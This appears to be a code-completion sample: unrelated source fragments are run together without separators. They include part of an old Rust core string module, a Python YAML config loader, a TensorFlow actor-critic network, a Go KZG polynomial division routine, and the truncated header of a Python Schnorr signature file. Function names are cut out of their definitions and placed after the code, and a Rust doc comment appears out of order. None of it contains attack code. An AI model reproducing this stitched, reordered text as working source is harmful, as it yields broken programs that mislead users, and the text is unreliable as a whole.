`.rmatches()`. struct RMatches; stability: #[stable(feature = "str_matches", since = "1.2.0")] internal: MatchesInternal yielding (&'a str); delegate double ended; } /// Created with the method `.lines()`. #[stable(feature = "rust1", since = "1.0.0")] #[derive(Clone)] pub struct Lines<'a>(Map<SplitTerminator<'a, char>, LinesAnyMap>); #[stable(feature = "rust1", since = "1.0.0")] impl<'a> Iterator for Lines<'a> { type Item = &'a str; #[inline] fn next(&mut self) -> Option<&'a str> { self.0.next() } #[inline] fn size_hint(&self) -> (usize, Option<usize>) { self.0.size_hint() } } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> DoubleEndedIterator for Lines<'a> { #[inline] fn next_back(&mut self) -> Option<&'a str> { self.0.next_back() } } /// Created with the method `.lines_any()`. #[stable(feature = "rust1", since = "1.0.0")] #[deprecated(since = "1.4.0", reason = "use lines()/Lines instead now")] #[derive(Clone)] #[allow(deprecated)] pub struct LinesAny<'a>(Lines<'a>); /// A nameable, clonable fn type #[derive(Clone)] struct LinesAnyMap; impl<'a> Fn<(&'a str,)> for LinesAnyMap { #[inline] extern "rust-call" fn call(&self, (line,): (&'a str,)) -> &'a str { let l = line.len(); if l > 0 && line.as_bytes()[l - 1] == b'\r' { &line[0 .. l - 1] } else { line } } } impl<'a> FnMut<(&'a str,)> for LinesAnyMap { #[inline] extern "rust-call" fn call_mut(&mut self, (line,): (&'a str,)) -> &'a str { Fn::call(&*self, (line,)) } } impl<'a> FnOnce<(&'a str,)> for LinesAnyMap { type Output = &'a str; #[inline] extern "rust-call" fn call_once(self, (line,): (&'a str,)) -> &'a str { Fn::call(&self, (line,)) } } #[stable(feature = "rust1", since = "1.0.0")] #[allow(deprecated)] impl<'a> Iterator for LinesAny<'a> { type Item = &'a str; #[inline] fn next(&mut self) -> Option<&'a str> { self.0.next() } #[inline] fn size_hint(&self) -> (usize, Option<usize>) { self.0.size_hint() } } #[stable(feature = "rust1", since = "1.0.0")] #[allow(deprecated)] impl<'a> DoubleEndedIterator for LinesAny<'a> { #[inline] fn next_back(&mut self) -> Option<&'a str> { self.0.next_back() } } /* Section: Comparing strings */ /// Bytewise slice equality /// NOTE: This function is (ab)used in rustc::middle::trans::_match /// to compare &[u8] byte slices that are not necessarily valid UTF-8. #[lang = "str_eq"] #[inline] fn eq_slice(a: &str, b: &str) -> bool { // NOTE: In theory n should be libc::size_t and not usize, but libc is not available here #[allow(improper_ctypes)] extern { fn memcmp(s1: *const i8, s2: *const i8, n: usize) -> i32; } a.len() == b.len() && unsafe { memcmp(a.as_ptr() as *const i8, b.as_ptr() as *const i8, a.len()) == 0 } } /* Section: Misc */ /// Walk through `iter` checking that it's a valid UTF-8 sequence, /// returning `true` in that case, or, if it is invalid, `false` with /// `iter` reset such that it is pointing at the first byte in the /// invalid sequence. #[inline(always)] fn run_utf8_validation_iterator(iter: &mut slice::Iter<u8>) -> Result<(), Utf8Error> { let whole = iter.as_slice(); loop { // save the current thing we're pointing at. let old = iter.clone(); // restore the iterator we had at the start of this codepoint. macro_rules! err { () => {{ *iter = old.clone(); return Err(Utf8Error { valid_up_to: whole.len() - iter.as_slice().len() }) }}} macro_rules! next { () => { match iter.next() { Some(a) => *a, // we needed data, but there was none: error! None => err!(), } }} let first = match iter.next() { Some(&b) => b, // we're at the end of the iterator and a codepoint // boundary at the same time, so this string is valid. None => return Ok(()) }; // ASCII characters are always valid, so only large // bytes need more examination. if first >= 128 { let w = UTF8_CHAR_WIDTH[first as usize]; let second = next!(); // 2-byte encoding is for codepoints \u{0080} to \u{07ff} // first C2 80 last DF BF // 3-byte encoding is for codepoints \u{0800} to \u{ffff} // first E0 A0 80 last EF BF BF // excluding surrogates codepoints \u{d800} to \u{dfff} // ED A0 80 to ED BF BF // 4-byte encoding is for codepoints \u{1000}0 to \u{10ff}ff // first F0 90 80 80 last F4 8F BF BF // // Use the UTF-8 syntax from the RFC // // https://tools.ietf.org/html/rfc3629 // UTF8-1 = %x00-7F // UTF8-2 = %xC2-DF UTF8-tail // UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / // %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) // UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / // %xF4 %x80-8F 2( UTF8-tail ) match w { 2 => if second & !CONT_MASK != TAG_CONT_U8 {err!()}, 3 => { match (first, second, next!() & !CONT_MASK) { (0xE0 , 0xA0 ... 0xBF, TAG_CONT_U8) | (0xE1 ... 0xEC, 0x80 ... 0xBF, TAG_CONT_U8) | (0xED , 0x80 ... 0x9F, TAG_CONT_U8) | (0xEE ... 0xEF, 0x80 ... 0xBF, TAG_CONT_U8) => {} _ => err!() } } 4 => { match (first, second, next!() & !CONT_MASK, next!() & !CONT_MASK) { (0xF0 , 0x90 ... 0xBF, TAG_CONT_U8, TAG_CONT_U8) | (0xF1 ... 0xF3, 0x80 ... 0xBF, TAG_CONT_U8, TAG_CONT_U8) | (0xF4 , 0x80 ... 0x8F, TAG_CONT_U8, TAG_CONT_U8) => {} _ => err!() } } _ => err!() } } } } // https://tools.ietf.org/html/rfc3629 static UTF8_CHAR_WIDTH: [u8; 256] = [ 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x1F 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x3F 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x5F 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // 0x7F 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 0x9F 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 0xBF 0,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, // 0xDF 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, // 0xEF 4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0, // 0xFF ]; /// Struct that contains a `char` and the index of the first byte of /// the next `char` in a string. This can be used as a data structure /// for iterating over the UTF-8 bytes of a string. #[derive(Copy, Clone)] #[unstable(feature = "str_char", reason = "existence of this struct is uncertain as it is frequently \ able to be replaced with char.len_utf8() and/or \ char/char_indices iterators", issue = "27754")] pub struct CharRange { /// Current `char` pub ch: char, /// Index of the first byte of the next `char` pub next: usize, } /// Mask of the value bits of a continuation byte const CONT_MASK: u8 = 0b0011_1111; /// Value of the tag bits (tag mask is !CONT_MASK) of a continuation byte const TAG_CONT_U8: u8 = 0b1000_0000; /* Section: Trait implementations */ mod traits { use cmp::{Ordering, Ord, PartialEq, PartialOrd, Eq}; use cmp::Ordering::{Less, Equal, Greater}; use iter::Iterator; use option::Option; use option::Option::Some; use ops; use str::{StrExt, eq_slice}; #[stable(feature = "rust1", since = "1.0.0")] impl Ord for str { #[inline] fn cmp(&self, other: &str) -> Ordering { for (s_b, o_b) in self.bytes().zip(other.bytes()) { match s_b.cmp(&o_b) { Greater => return Greater, Less => return Less, Equal => () } } self.len().cmp(&other.len()) } } #[stable(feature = "rust1", since = "1.0.0")] impl PartialEq for str { #[inline] fn eq(&self, other: &str) -> bool { eq_slice(self, other) } #[inline] fn ne(&self, other: &str) -> bool { !(*self).eq(other) } } #[stable(feature = "rust1", since = "1.0.0")] impl Eq for str {} #[stable(feature = "rust1", since = "1.0.0")] impl PartialOrd for str { #[inline] fn partial_cmp(&self, other: &str) -> Option<Ordering> { Some(self.cmp(other)) } } /// Returns a slice of the given string from the byte range /// [`begin`..`end`). /// /// This operation is `O(1)`. /// /// Panics when `begin` and `end` do not point to valid characters /// or point beyond the last character of the string. /// /// # Examples /// /// ``` /// let s = "Löwe 老虎 Léopard"; /// assert_eq!(&s[0 .. 1], "L"); /// /// assert_eq!(&s[1 .. 9], "öwe 老"); /// /// // these will panic: /// // byte 2 lies within `ö`: /// // &s[2 ..3]; /// /// // byte 8 lies within `老` /// // &s[1 .. 8]; /// /// // byte 100 is outside the string
type Output = str; #[inline] fn index(&self, index: ops::Range<usize>) -> &str { // is_char_boundary checks that the index is in [0, .len()] if index.start <= index.end && self.is_char_boundary(index.start) && self.is_char_boundary(index.end) { unsafe { self.slice_unchecked(index.start, index.end) } } else { super::slice_error_fail(self, index.start, index.end) } } } /// Returns a mutable slice of the given string from the byte range /// [`begin`..`end`). #[stable(feature = "derefmut_for_string", since = "1.2.0")] impl ops::IndexMut<ops::Range<usize>> for str { #[inline] fn index_mut(&mut self, index: ops::Range<usize>) -> &mut str { // is_char_boundary checks that the index is in [0, .len()] if index.start <= index.end && self.is_char_boundary(index.start) && self.is_char_boundary(index.end) { unsafe { self.slice_mut_unchecked(index.start, index.end) } } else { super::slice_error_fail(self, index.start, index.end) } } } /// Returns a slice of the string from the beginning to byte /// `end`. /// /// Equivalent to `self[0 .. end]`. /// /// Panics when `end` does not point to a valid character, or is /// out of bounds. #[stable(feature = "rust1", since = "1.0.0")] impl ops::Index<ops::RangeTo<usize>> for str { type Output = str; #[inline] fn index(&self, index: ops::RangeTo<usize>) -> &str { // is_char_boundary checks that the index is in [0, .len()] if self.is_char_boundary(index.end) { unsafe { self.slice_unchecked(0, index.end) } } else { super::slice_error_fail(self, 0, index.end) } } } /// Returns a mutable slice of the string from the beginning to byte /// `end`. #[stable(feature = "derefmut_for_string", since = "1.2.0")] impl ops::IndexMut<ops::RangeTo<usize>> for str { #[inline] fn index_mut(&mut self, index: ops::RangeTo<usize>) -> &mut str { // is_char_boundary checks that the index is in [0, .len()] if self.is_char_boundary(index.end) { unsafe { self.slice_mut_unchecked(0, index.end) } } else { super::slice_error_fail(self, 0, index.end) } } } /// Returns a slice of the string from `begin` to its end. /// /// Equivalent to `self[begin .. self.len()]`. /// /// Panics when `begin` does not point to a valid character, or is /// out of bounds. #[stable(feature = "rust1", since = "1.0.0")] impl ops::Index<ops::RangeFrom<usize>> for str { type Output = str; #[inline] fn index(&self, index: ops::RangeFrom<usize>) -> &str { // is_char_boundary checks that the index is in [0, .len()] if self.is_char_boundary(index.start) { unsafe { self.slice_unchecked(index.start, self.len()) } } else { super::slice_error_fail(self, index.start, self.len()) } } } /// Returns a slice of the string from `begin` to its end. #[stable(feature = "derefmut_for_string", since = "1.2.0")] impl ops::IndexMut<ops::RangeFrom<usize>> for str { #[inline] fn index_mut(&mut self, index: ops::RangeFrom<usize>) -> &mut str { // is_char_boundary checks that the index is in [0, .len()] if self.is_char_boundary(index.start) { let len = self.len(); unsafe { self.slice_mut_unchecked(index.start, len) } } else { super::slice_error_fail(self, index.start, self.len()) } } } #[stable(feature = "rust1", since = "1.0.0")] impl ops::Index<ops::RangeFull> for str { type Output = str; #[inline] fn index(&self, _index: ops::RangeFull) -> &str { self } } #[stable(feature = "derefmut_for_string", since = "1.2.0")] impl ops::IndexMut<ops::RangeFull> for str { #[inline] fn index_mut(&mut self, _index: ops::RangeFull) -> &mut str { self } } } /// Methods for string slices #[allow(missing_docs)] #[doc(hidden)] #[unstable(feature = "core_str_ext", reason = "stable interface provided by `impl str` in later crates", issue = "27701")] pub trait StrExt { // NB there are no docs here are they're all located on the StrExt trait in // libcollections, not here. fn contains<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool; fn contains_char<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool; fn chars(&self) -> Chars; fn bytes(&self) -> Bytes; fn char_indices(&self) -> CharIndices; fn split<'a, P: Pattern<'a>>(&'a self, pat: P) -> Split<'a, P>; fn rsplit<'a, P: Pattern<'a>>(&'a self, pat: P) -> RSplit<'a, P> where P::Searcher: ReverseSearcher<'a>; fn splitn<'a, P: Pattern<'a>>(&'a self, count: usize, pat: P) -> SplitN<'a, P>; fn rsplitn<'a, P: Pattern<'a>>(&'a self, count: usize, pat: P) -> RSplitN<'a, P> where P::Searcher: ReverseSearcher<'a>; fn split_terminator<'a, P: Pattern<'a>>(&'a self, pat: P) -> SplitTerminator<'a, P>; fn rsplit_terminator<'a, P: Pattern<'a>>(&'a self, pat: P) -> RSplitTerminator<'a, P> where P::Searcher: ReverseSearcher<'a>; fn matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> Matches<'a, P>; fn rmatches<'a, P: Pattern<'a>>(&'a self, pat: P) -> RMatches<'a, P> where P::Searcher: ReverseSearcher<'a>; fn match_indices<'a, P: Pattern<'a>>(&'a self, pat: P) -> MatchIndices<'a, P>; fn rmatch_indices<'a, P: Pattern<'a>>(&'a self, pat: P) -> RMatchIndices<'a, P> where P::Searcher: ReverseSearcher<'a>; fn lines(&self) -> Lines; #[allow(deprecated)] fn lines_any(&self) -> LinesAny; fn char_len(&self) -> usize; fn slice_chars(&self, begin: usize, end: usize) -> &str; unsafe fn slice_unchecked(&self, begin: usize, end: usize) -> &str; unsafe fn slice_mut_unchecked(&mut self, begin: usize, end: usize) -> &mut str; fn starts_with<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool; fn ends_with<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool where P::Searcher: ReverseSearcher<'a>; fn trim_matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> &'a str where P::Searcher: DoubleEndedSearcher<'a>; fn trim_left_matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> &'a str; fn trim_right_matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> &'a str where P::Searcher: ReverseSearcher<'a>; fn is_char_boundary(&self, index: usize) -> bool; fn char_range_at(&self, start: usize) -> CharRange; fn char_range_at_reverse(&self, start: usize) -> CharRange; fn char_at(&self, i: usize) -> char; fn char_at_reverse(&self, i: usize) -> char; fn as_bytes(&self) -> &[u8]; fn find<'a, P: Pattern<'a>>(&'a self, pat: P) -> Option<usize>; fn rfind<'a, P: Pattern<'a>>(&'a self, pat: P) -> Option<usize> where P::Searcher: ReverseSearcher<'a>; fn find_str<'a, P: Pattern<'a>>(&'a self, pat: P) -> Option<usize>; fn split_at(&self, mid: usize) -> (&str, &str); fn split_at_mut(&mut self, mid: usize) -> (&mut str, &mut str); fn slice_shift_char(&self) -> Option<(char, &str)>; fn subslice_offset(&self, inner: &str) -> usize; fn as_ptr(&self) -> *const u8; fn len(&self) -> usize; fn is_empty(&self) -> bool; fn parse<T: FromStr>(&self) -> Result<T, T::Err>; } #[inline(never)] fn slice_error_fail(s: &str, begin: usize, end: usize) -> ! { assert!(begin <= end); panic!("index {} and/or {} in `{}` do not lie on character boundary", begin, end, s); } impl StrExt for str { #[inline] fn contains<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool { pat.is_contained_in(self) } #[inline] fn contains_char<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool { pat.is_contained_in(self) } #[inline] fn chars(&self) -> Chars { Chars{iter: self.as_bytes().iter()} } #[inline] fn bytes(&self) -> Bytes { Bytes(self.as_bytes().iter().cloned()) } #[inline] fn char_indices(&self) -> CharIndices { CharIndices { front_offset: 0, iter: self.chars() } } #[inline] fn split<'a, P: Pattern<'a>>(&'a self, pat: P) -> Split<'a, P> { Split(SplitInternal { start: 0, end: self.len(), matcher: pat.into_searcher(self), allow_trailing_empty: true, finished: false, }) } #[inline] fn rsplit<'a, P: Pattern<'a>>(&'a self, pat: P) -> RSplit<'a, P> where P::Searcher: ReverseSearcher<'a> { RSplit(self.split(pat).0) } #[inline] fn splitn<'a, P: Pattern<'a>>(&'a self, count: usize, pat: P) -> SplitN<'a, P> { SplitN(SplitNInternal { iter: self.split(pat).0, count: count, }) } #[inline] fn rsplitn<'a, P: Pattern<'a>>(&'a self, count: usize, pat: P) -> RSplitN<'a, P> where P::Searcher: ReverseSearcher<'a> { RSplitN(self.splitn(count, pat).0) } #[inline] fn split_terminator<'a, P: Pattern<'a>>(&'a self, pat: P) -> SplitTerminator<'a, P> { SplitTerminator(SplitInternal { allow_trailing_empty: false, ..self.split(pat).0 }) } #[inline] fn rsplit_terminator<'a, P: Pattern<'a>>(&'a self, pat: P) -> RSplitTerminator<'a, P> where P::Searcher: ReverseSearcher<'a> { RSplitTerminator(self.split_terminator(pat).0) } #[inline] fn matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> Matches<'a, P> { Matches(MatchesInternal(pat.into_searcher(self))) } #[inline] fn rmatches<'a, P: Pattern<'a>>(&'a self, pat: P) -> RMatches<'a, P> where P::Searcher: ReverseSearcher<'a> { RMatches(self.matches(pat).0) } #[inline] fn match_indices<'a, P: Pattern<'a>>(&'a self, pat: P) -> MatchIndices<'a, P> { MatchIndices(MatchIndicesInternal(pat.into_searcher(self))) } #[inline] fn rmatch_indices<'a, P: Pattern<'a>>(&'a self, pat: P) -> RMatchIndices<'a, P> where P::Searcher: ReverseSearcher<'a> { RMatchIndices(self.match_indices(pat).0) } #[inline] fn lines(&self) -> Lines { Lines(self.split_terminator('\n').map(LinesAnyMap)) } #[inline] #[allow(deprecated)] fn lines_any(&self) -> LinesAny { LinesAny(self.lines()) } #[inline] fn char_len(&self) -> usize { self.chars().count() } fn slice_chars(&self, begin: usize, end: usize) -> &str { assert!(begin <= end); let mut count = 0; let mut begin_byte = None; let mut end_byte = None; // This could be even more efficient by not decoding, // only finding the char boundaries for (idx, _) in self.char_indices() { if count == begin { begin_byte = Some(idx); } if count == end { end_byte = Some(idx); break; } count += 1; } if begin_byte.is_none() && count == begin { begin_byte = Some(self.len()) } if end_byte.is_none() && count == end { end_byte = Some(self.len()) } match (begin_byte, end_byte) { (None, _) => panic!("slice_chars: `begin` is beyond end of string"), (_, None) => panic!("slice_chars: `end` is beyond end of string"), (Some(a), Some(b)) => unsafe { self.slice_unchecked(a, b) } } } #[inline] unsafe fn slice_unchecked(&self, begin: usize, end: usize) -> &str { mem::transmute(Slice { data: self.as_ptr().offset(begin as isize), len: end - begin, }) } #[inline] unsafe fn slice_mut_unchecked(&mut self, begin: usize, end: usize) -> &mut str { mem::transmute(Slice { data: self.as_ptr().offset(begin as isize), len: end - begin, }) } #[inline] fn starts_with<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool { pat.is_prefix_of(self) } #[inline] fn ends_with<'a, P: Pattern<'a>>(&'a self, pat: P) -> bool where P::Searcher: ReverseSearcher<'a> { pat.is_suffix_of(self) } #[inline] fn trim_matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> &'a str where P::Searcher: DoubleEndedSearcher<'a> { let mut i = 0; let mut j = 0; let mut matcher = pat.into_searcher(self); if let Some((a, b)) = matcher.next_reject() { i = a; j = b; // Rember earliest known match, correct it below if // last match is different } if let Some((_, b)) = matcher.next_reject_back() { j = b; } unsafe { // Searcher is known to return valid indices self.slice_unchecked(i, j) } } #[inline] fn trim_left_matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> &'a str { let mut i = self.len(); let mut matcher = pat.into_searcher(self); if let Some((a, _)) = matcher.next_reject() { i = a; } unsafe { // Searcher is known to return valid indices self.slice_unchecked(i, self.len()) } } #[inline] fn trim_right_matches<'a, P: Pattern<'a>>(&'a self, pat: P) -> &'a str where P::Searcher: ReverseSearcher<'a> { let mut j = 0; let mut matcher = pat.into_searcher(self); if let Some((_, b)) = matcher.next_reject_back() { j = b; } unsafe { // Searcher is known to return valid indices self.slice_unchecked(0, j) } } #[inline] fn is_char_boundary(&self, index: usize) -> bool { if index == self.len() { return true; } match self.as_bytes().get(index) { None => false, Some(&b) => b < 128 || b >= 192, } } #[inline] fn char_range_at(&self, i: usize) -> CharRange { let (c, n) = char_range_at_raw(self.as_bytes(), i); CharRange { ch: unsafe { char::from_u32_unchecked(c) }, next: n } } #[inline] fn char_range_at_reverse(&self, start: usize) -> CharRange { let mut prev = start; prev = prev.saturating_sub(1); if self.as_bytes()[prev] < 128 { return CharRange{ch: self.as_bytes()[prev] as char, next: prev} } // Multibyte case is a fn to allow char_range_at_reverse to inline cleanly fn multibyte_char_range_at_reverse(s: &str, mut i: usize) -> CharRange { // while there is a previous byte == 10...... while i > 0 && s.as_bytes()[i] & !CONT_MASK == TAG_CONT_U8 { i -= 1; } let first= s.as_bytes()[i]; let w = UTF8_CHAR_WIDTH[first as usize]; assert!(w != 0); let mut val = utf8_first_byte(first, w as u32); val = utf8_acc_cont_byte(val, s.as_bytes()[i + 1]); if w > 2 { val = utf8_acc_cont_byte(val, s.as_bytes()[i + 2]); } if w > 3 { val = utf8_acc_cont_byte(val, s.as_bytes()[i + 3]); } return CharRange {ch: unsafe { char::from_u32_unchecked(val) }, next: i}; } return multibyte_char_range_at_reverse(self, prev); } #[inline] fn char_at(&self, i: usize) -> char { self.char_range_at(i).ch } #[inline] fn char_at_reverse(&self, i: usize) -> char { self.char_range_at_reverse(i).ch } #[inline] fn as_bytes(&self) -> &[u8] { unsafe { mem::transmute(self) } } fn find<'a, P: Pattern<'a>>(&'a self, pat: P) -> Option<usize> { pat.into_searcher(self).next_match().map(|(i, _)| i) } fn rfind<'a, P: Pattern<'a>>(&'a self, pat: P) -> Option<usize> where P::Searcher: ReverseSearcher<'a> { pat.into_searcher(self).next_match_back().map(|(i, _)| i) } fn find_str<'a, P: Pattern<'a>>(&'a self, pat: P) -> Option<usize> { self.find(pat) } fn split_at(&self, mid: usize) -> (&str, &str) { // is_char_boundary checks that the index is in [0, .len()] if self.is_char_boundary(mid) { unsafe { (self.slice_unchecked(0, mid), self.slice_unchecked(mid, self.len())) } } else { slice_error_fail(self, 0, mid) } } fn split_at_mut(&mut self, mid: usize) -> (&mut str, &mut str) { // is_char_boundary checks that the index is in [0, .len()] if self.is_char_boundary(mid) { let len = self.len(); unsafe { let self2: &mut str = mem::transmute_copy(&self); (self.slice_mut_unchecked(0, mid), self2.slice_mut_unchecked(mid, len)) } } else { slice_error_fail(self, 0, mid) } } #[inline] fn slice_shift_char(&self) -> Option<(char, &str)> { if self.is_empty() { None } else { let ch = self.char_at(0); let next_s = unsafe { self.slice_unchecked(ch.len_utf8(), self.len()) }; Some((ch, next_s)) } } fn subslice_offset(&self, inner: &str) -> usize { let a_start = self.as_ptr() as usize; let a_end = a_start + self.len(); let b_start = inner.as_ptr() as usize; let b_end = b_start + inner.len(); assert!(a_start <= b_start); assert!(b_end <= a_end); b_start - a_start } #[inline] fn as_ptr(&self) -> *const u8 { self.repr().data } #[inline] fn len(&self) -> usize { self.repr().len } #[inline] fn is_empty(&self) -> bool { self.len() == 0 } #[inline] fn parse<T: FromStr>(&self) -> Result<T, T::Err> { FromStr::from_str(self) } } #[stable(feature = "rust1", since = "1.0.0")] impl AsRef<[u8]> for str { #[inline] fn as_ref(&self) -> &[u8] { self.as_bytes() } } /// Pluck a code point out of a UTF-8-like byte slice and return the /// index of the next code point. #[inline] fn char_range_at_raw(bytes: &[u8], i: usize) -> (u32, usize) { if bytes[i] < 128 { return (bytes[i] as u32, i + 1); } // Multibyte case is a fn to allow char_range_at to inline cleanly fn multibyte_char_range_at(bytes: &[u8], i: usize) -> (u32, usize) { let first = bytes[i]; let w = UTF8_CHAR_WIDTH[first as usize]; assert!(w != 0); let mut val = utf8_first_byte(first, w as u32); val = utf8_acc_cont_byte(val, bytes[i + 1]); if w > 2 { val = utf8_acc_cont_byte(val, bytes[i + 2]); } if w > 3 { val = utf8_acc_cont_byte(val, bytes[i + 3]); } return (val, i + w as usize); } multibyte_char_range_at(bytes, i) } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> Default for &'a str { #[stable(feature = "rust1", since = "1.0.0")] fn default() -> &'a str { "" } }
/// // &s[3 .. 100]; /// ``` #[stable(feature = "rust1", since = "1.0.0")] impl ops::Index<ops::Range<usize>> for str {
config.py
"""Configuration file loader for the experiments configuration.""" import yaml def
(): """Load the app configuration file.""" with open('../conf/experiments.yaml', 'r') as config_file: try: return yaml.safe_load(config_file) except yaml.YAMLError as exc: print(exc) EXPERIMENTS = load_config()
load_config
AC_Network.py
import tensorflow as tf import tensorflow.contrib.slim as slim #import tensorflow.nn as slim import numpy as np from helpers import * class AC_Network(): def __init__(self,s_size,a_size,scope,trainer,s_shape):
with tf.variable_scope(scope): #Input and visual encoding layers self.inputs = tf.placeholder(shape=[None,s_size],dtype=tf.float32) self.imageIn = tf.reshape(self.inputs,shape=[-1,s_shape[0],s_shape[1],s_shape[2]]) self.conv1 = slim.conv2d(activation_fn=tf.nn.elu, inputs=self.imageIn,num_outputs=16, kernel_size=[8,8],stride=[4,4],padding='VALID') self.conv2 = slim.conv2d(activation_fn=tf.nn.elu, inputs=self.conv1,num_outputs=32, kernel_size=[4,4],stride=[2,2],padding='VALID') hidden = slim.fully_connected(slim.flatten(self.conv2),256,activation_fn=tf.nn.elu) #Recurrent network for temporal dependencies lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(256,state_is_tuple=True) c_init = np.zeros((1, lstm_cell.state_size.c), np.float32) h_init = np.zeros((1, lstm_cell.state_size.h), np.float32) self.state_init = [c_init, h_init] c_in = tf.placeholder(tf.float32, [1, lstm_cell.state_size.c]) h_in = tf.placeholder(tf.float32, [1, lstm_cell.state_size.h]) self.state_in = (c_in, h_in) rnn_in = tf.expand_dims(hidden, [0]) step_size = tf.shape(self.imageIn)[:1] state_in = tf.nn.rnn_cell.LSTMStateTuple(c_in, h_in) lstm_outputs, lstm_state = tf.nn.dynamic_rnn( lstm_cell, rnn_in, initial_state=state_in, sequence_length=step_size, time_major=False) lstm_c, lstm_h = lstm_state self.state_out = (lstm_c[:1, :], lstm_h[:1, :]) rnn_out = tf.reshape(lstm_outputs, [-1, 256]) #Output layers for policy and value estimations self.policy = slim.fully_connected(rnn_out,a_size, activation_fn=tf.nn.softmax, weights_initializer=normalized_columns_initializer(0.01), biases_initializer=None) self.value = slim.fully_connected(rnn_out,1, activation_fn=None, weights_initializer=normalized_columns_initializer(1.0), biases_initializer=None) #Only the worker network need ops for loss functions and gradient updating. if scope != 'global': self.actions = tf.placeholder(shape=[None],dtype=tf.int32) self.actions_onehot = tf.one_hot(self.actions,a_size,dtype=tf.float32) self.target_v = tf.placeholder(shape=[None],dtype=tf.float32) self.advantages = tf.placeholder(shape=[None],dtype=tf.float32) self.responsible_outputs = tf.reduce_sum(self.policy * self.actions_onehot, [1]) #Loss functions self.value_loss = 0.5 * tf.reduce_sum(tf.square(self.target_v - tf.reshape(self.value,[-1]))) self.entropy = - tf.reduce_sum(self.policy * tf.log(self.policy)) self.policy_loss = -tf.reduce_sum(tf.log(self.responsible_outputs)*self.advantages) self.loss = 0.5 * self.value_loss + self.policy_loss - self.entropy * 0.01 #Get gradients from local network using local losses local_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope) self.gradients = tf.gradients(self.loss,local_vars) self.var_norms = tf.global_norm(local_vars) self.grads,self.grad_norms = tf.clip_by_global_norm(self.gradients,40.0) #Apply local gradients to global network self.global_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, 'global') self.apply_grads = trainer.apply_gradients(zip(self.grads,self.global_vars))
util.go
// Copyright 2020 ConsenSys Software Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Code generated by consensys/gnark-crypto DO NOT EDIT package kzg import ( "math/bits" "github.com/consensys/gnark-crypto/ecc/bw6-764/fr" "github.com/consensys/gnark-crypto/ecc/bw6-764/fr/fft" bw6764_pol "github.com/consensys/gnark-crypto/ecc/bw6-764/fr/polynomial" ) // dividePolyByXminusA computes (f-f(a))/(x-a), in canonical basis, in regular form func
(d fft.Domain, f bw6764_pol.Polynomial, fa, a fr.Element) bw6764_pol.Polynomial { // padd f so it has size d.Cardinality _f := make([]fr.Element, d.Cardinality) copy(_f, f) // compute the quotient (f-f(a))/(x-a) d.FFT(_f, fft.DIF, 0) // bit reverse shift bShift := uint64(64 - bits.TrailingZeros64(d.Cardinality)) accumulator := fr.One() s := make([]fr.Element, len(_f)) for i := 0; i < len(s); i++ { irev := bits.Reverse64(uint64(i)) >> bShift s[irev].Sub(&accumulator, &a) accumulator.Mul(&accumulator, &d.Generator) } s = fr.BatchInvert(s) for i := 0; i < len(_f); i++ { _f[i].Sub(&_f[i], &fa) _f[i].Mul(&_f[i], &s[i]) } d.FFTInverse(_f, fft.DIT, 0) // the result is of degree deg(f)-1 return _f[:len(f)-1] }
dividePolyByXminusA
ssa.py
#!/usr/bin/env python3 # Copyright (C) 2017-2022 The btclib developers # # This file is part of btclib. It is subject to the license terms in the # LICENSE file found in the top-level directory of this distribution. # # No part of btclib including this file, may be copied, modified, propagated, # or distributed except according to the terms contained in the LICENSE file. """Elliptic Curve Schnorr Signature Algorithm (ECSSA). This implementation is according to BIP340-Schnorr: https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki Differently from ECDSA, the BIP340-Schnorr scheme supports messages of size hf_size only. It also uses as public key the x-coordinate (field element) of the curve point associated to the private key 0 < q < n. Therefore, for sepcp256k1 the public key size is 32 bytes. Arguably, the knowledge of q as the discrete logarithm of Q also implies the knowledge of n-q as discrete logarithm of -Q. As such, {q, n-q} can be considered a single private key and {Q, -Q} the associated public key characterized by the shared x_Q. Also, BIP340 advocates its own SHA256 modification as hash function: TaggedHash(tag, x) = 